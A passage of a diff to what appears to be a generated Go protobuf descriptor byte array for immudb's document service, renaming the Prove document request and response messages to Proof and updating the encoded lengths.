0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc7, 0x01, 0x0a, 0x12, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, + 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, + 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, + 0x57, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, - 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, - 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, - 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x76, 0x65, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, - 0xe6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x76, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, - 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, - 0x6d, 0x69, 0x74, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, - 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, - 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, - 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, - 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, 0x0a, - 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, - 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, - 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, - 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, - 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xee, 0x0d, 0x0a, 0x0f, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x8a, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x27, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x85, 0x01, 0x0a, - 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, + 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x16, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, + 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, + 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, + 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, + 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, + 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, + 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf2, 0x0d, + 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x8a, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x27, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x85, + 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 